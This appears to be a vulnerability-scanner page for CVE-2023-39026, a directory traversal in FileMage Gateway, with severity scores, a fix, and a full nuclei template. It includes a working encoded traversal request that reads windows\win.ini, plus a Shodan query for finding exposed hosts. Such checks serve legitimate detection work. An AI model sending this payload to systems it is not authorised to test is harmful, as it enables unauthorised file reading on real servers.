FileMage Gateway - Directory Traversal

highseverity

7.5CVSS score

17.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.

Impact

An attacker can view, modify, or delete sensitive files on the system, potentially leading to unauthorized access, data leakage, or system compromise.

Fix

Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FileMage Gateway.

How to confirm it

Send: GET {{BaseURL}}/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
Positive when: contains_all(body,'bit app support','extensions','fonts') and contains(content_type, 'text/plain') and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-39026 -u <target>

The full check

id: CVE-2023-39026

info:
  name: FileMage Gateway - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.
  impact: |
    An attacker can view, modify, or delete sensitive files on the system, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FileMage Gateway.
  reference:
    - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html
    - https://securityonline.info/cve-2023-39026-filemage-gateway-directory-traversal-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39026
    - https://www.filemage.io/docs/updates.html#change-log
    - http://packetstormsecurity.com/files/174491/FileMage-Gateway-1.10.9-Local-File-Inclusion.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39026
    cwe-id: CWE-22
    epss-score: 0.17919
    epss-percentile: 0.97203
    cpe: cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microsoft
    product: windows
    shodan-query:
      - title:"FileMage"
      - cpe:"cpe:2.3:o:microsoft:windows"
  tags: cve2023,cve,packetstorm,lfi,filemage,microsoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body,'bit app support','extensions','fonts')"
          - "contains(content_type, 'text/plain')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from